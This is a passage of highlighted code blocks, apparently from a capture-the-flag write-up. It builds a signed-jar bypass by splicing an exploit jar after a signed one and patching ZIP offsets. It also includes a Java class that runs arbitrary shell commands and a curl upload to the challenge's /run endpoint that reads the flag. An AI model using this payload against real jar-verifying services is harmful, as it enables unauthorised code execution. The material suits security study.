<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-keysize</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">2048</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-validity</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-keystore</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">keystore.jks</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-storepass</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">133337</span></span>
<span></span>
<span><span style="color: #82AAFF">jarsigner</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-keystore</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">keystore.jks</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-storepass</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">133337</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp.jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp</span></span>
<span></span>
<span><span style="color: #82AAFF">curl</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-O</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C5E478">$url</span><span style="color: #ECC48D">/toolbox/greeting.jar</span><span style="color: #D9F5DD">&quot;</span></span>
<span><span style="color: #82AAFF">jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">xf</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">greeting.jar</span></span>
<span></span>
<span><span style="color: #82AAFF">python</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp.py</span></span>
<span></span>
<span><span style="color: #82AAFF">jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">cf0</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nested.jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">inner.jar</span></span>
<span></span>
<span><span style="color: #82AAFF">curl</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-F</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">file=@nested.jar</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-F</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">path=inner.jar</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-F</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">input=</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">/readflag give me the flag</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C5E478">$url</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">/run</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h3><ile-root id="ile-49"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-49--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">hello.jar</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    signed </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">exp.jar</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    exp </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">shift </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">signed</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">exp_list </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">list</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">eocd_start </span><span style="color: #994CC3">=</span><span style="color: #403F53"> exp.</span><span style="color: #0C969B">rfind</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">PK</span><span style="color: #AA0982">\x05\x06</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">cd_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">.</span><span style="color: #0C969B">from_bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp</span><span style="color: #403F53">[</span><span style="color: #4876D6">eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">16</span><span style="color: #4876D6">:eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">20</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">new_cd_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (cd_offset </span><span style="color: #994CC3">+</span><span style="color: #403F53"> shift).</span><span style="color: #0C969B">to_bytes</span><span style="color: #403F53">(</span><span style="color: #AA0982">4</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">exp_list[eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">16</span><span style="color: #403F53">:eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">20</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> new_cd_offset</span></span>
<span></span>
<span><span style="color: #403F53">cd_start </span><span style="color: #994CC3">=</span><span style="color: #403F53"> cd_offset</span></span>
<span><span style="color: #403F53">pos </span><span style="color: #994CC3">=</span><span style="color: #403F53"> cd_start</span></span>
<span><span style="color: #994CC3">while</span><span style="color: #403F53"> pos </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> eocd_start:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> exp[pos:pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">4</span><span style="color: #403F53">] </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">PK</span><span style="color: #AA0982">\x01\x02</span><span style="color: #111111">&#39;</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        lfh_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">.</span><span style="color: #0C969B">from_bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp</span><span style="color: #403F53">[</span><span style="color: #4876D6">pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">42</span><span style="color: #4876D6">:pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">46</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        new_lfh_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (lfh_offset </span><span style="color: #994CC3">+</span><span style="color: #403F53"> shift).</span><span style="color: #0C969B">to_bytes</span><span style="color: #403F53">(</span><span style="color: #AA0982">4</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        exp_list[pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">42</span><span style="color: #403F53">:pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">46</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> new_lfh_offset</span></span>
<span><span style="color: #403F53">        pos </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">46</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">else</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        pos </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span></span>
<span><span style="color: #403F53">modified_exp </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp_list</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">inner.jar</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">wb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    f.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">signed</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    f.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">modified_exp</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">hello.jar</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    signed </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">exp.jar</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    exp </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #D6DEEB">shift </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">signed</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">exp_list </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">list</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">eocd_start </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> exp.</span><span style="color: #B2CCD6">rfind</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">PK</span><span style="color: #F78C6C">\x05\x06</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">cd_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">.</span><span style="color: #B2CCD6">from_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">16</span><span style="color: #82AAFF">:eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">20</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">new_cd_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (cd_offset </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> shift).</span><span style="color: #B2CCD6">to_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">4</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">exp_list[eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">:eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">20</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> new_cd_offset</span></span>
<span></span>
<span><span style="color: #D6DEEB">cd_start </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> cd_offset</span></span>
<span><span style="color: #D6DEEB">pos </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> cd_start</span></span>
<span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> pos </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> eocd_start:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> exp[pos:pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">PK</span><span style="color: #F78C6C">\x01\x02</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        lfh_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">.</span><span style="color: #B2CCD6">from_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">42</span><span style="color: #82AAFF">:pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">46</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        new_lfh_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (lfh_offset </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> shift).</span><span style="color: #B2CCD6">to_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">4</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        exp_list[pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">42</span><span style="color: #D6DEEB">:pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">46</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> new_lfh_offset</span></span>
<span><span style="color: #D6DEEB">        pos </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">46</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        pos </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span></span>
<span><span style="color: #D6DEEB">modified_exp </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp_list</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">inner.jar</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">wb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    f.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">signed</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    f.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">modified_exp</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Java 代码块" data-v-c675dba6>Java</h3><ile-root id="ile-50"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-50--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">import</span><span style="color: #403F53"> </span><span style="color: #994CC3">java.io.ByteArrayOutputStream</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #994CC3">public</span><span style="color: #403F53"> </span><span style="color: #994CC3">class</span><span style="color: #403F53"> </span><span style="color: #111111">Tool</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">public</span><span style="color: #403F53"> </span><span style="color: #994CC3">static</span><span style="color: #403F53"> </span><span style="color: #994CC3">String</span><span style="color: #403F53"> </span><span style="color: #4876D6">run</span><span style="color: #111111">(</span><span style="color: #994CC3">String</span><span style="color: #403F53"> cmd</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">try</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">ProcessBuilder</span><span style="color: #403F53"> </span><span style="color: #4876D6">processBuilder</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">ProcessBuilder</span><span style="color: #111111">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">sh</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">, </span><span style="color: #111111">&quot;</span><span style="color: #C96765">-c</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">, cmd</span><span style="color: #111111">)</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">Process</span><span style="color: #403F53"> </span><span style="color: #4876D6">process</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">processBuilder</span><span style="color: #403F53">.</span><span style="color: #4876D6">start</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">ByteArrayOutputStream</span><span style="color: #403F53"> </span><span style="color: #4876D6">bos</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">ByteArrayOutputStream</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">bos</span><span style="color: #403F53">.</span><span style="color: #4876D6">write</span><span style="color: #111111">(</span><span style="color: #4876D6">String</span><span style="color: #403F53">.</span><span style="color: #4876D6">format</span><span style="color: #111111">(</span><span style="color: #111111">&quot;</span><span style="color: #AA0982">\n</span><span style="color: #C96765">$ %s</span><span style="color: #AA0982">\n</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, cmd</span><span style="color: #111111">)</span><span style="color: #403F53">.</span><span style="color: #4876D6">getBytes</span><span style="color: #111111">())</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">process</span><span style="color: #403F53">.</span><span style="color: #4876D6">getInputStream</span><span style="color: #111111">()</span><span style="color: #403F53">.</span><span style="color: #4876D6">transferTo</span><span style="color: #111111">(</span><span style="color: #403F53">bos</span><span style="color: #111111">)</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">process</span><span style="color: #403F53">.</span><span style="color: #4876D6">getErrorStream</span><span style="color: #111111">()</span><span style="color: #403F53">.</span><span style="color: #4876D6">transferTo</span><span style="color: #111111">(</span><span style="color: #403F53">bos</span><span style="color: #111111">)</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #4876D6">bos</span><span style="color: #403F53">.</span><span style="color: #4876D6">toString</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        } </span><span style="color: #994CC3">catch</span><span style="color: #403F53"> </span><span style="color: #111111">(</span><span style="color: #994CC3">Exception</span><span style="color: #403F53"> e</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #4876D6">e</span><span style="color: #403F53">.</span><span style="color: #4876D6">getMessage</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">java.io.ByteArrayOutputStream</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #C792EA">public</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">class</span><span style="color: #D6DEEB"> </span><span style="color: #FFCB8B">Tool</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">public</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">static</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">String</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">run</span><span style="color: #D9F5DD">(</span><span style="color: #C792EA">String</span><span style="color: #D6DEEB"> </span><span style="color: #D7DBE0">cmd</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">try</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">ProcessBuilder</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">processBuilder</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">ProcessBuilder</span><span style="color: #D9F5DD">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">sh</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">-c</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">, cmd</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">Process</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">process</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">processBuilder</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">start</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">ByteArrayOutputStream</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bos</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">ByteArrayOutputStream</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">bos</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">write</span><span style="color: #D9F5DD">(</span><span style="color: #C5E478">String</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">format</span><span style="color: #D9F5DD">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #F78C6C">\n</span><span style="color: #ECC48D">$ %s</span><span style="color: #F78C6C">\n</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, cmd</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getBytes</span><span style="color: #D9F5DD">())</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">process</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getInputStream</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">transferTo</span><span style="color: #D9F5DD">(</span><span style="color: #D6DEEB">bos</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">process</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getErrorStream</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">transferTo</span><span style="color: #D9F5DD">(</span><span style="color: #D6DEEB">bos</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bos</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">toString</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        } </span><span style="color: #C792EA">catch</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">(</span><span style="color: #C792EA">Exception</span><span style="color: #D6DEEB"> </span><span style="color: #D7DBE0">e</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">e</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getMessage</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
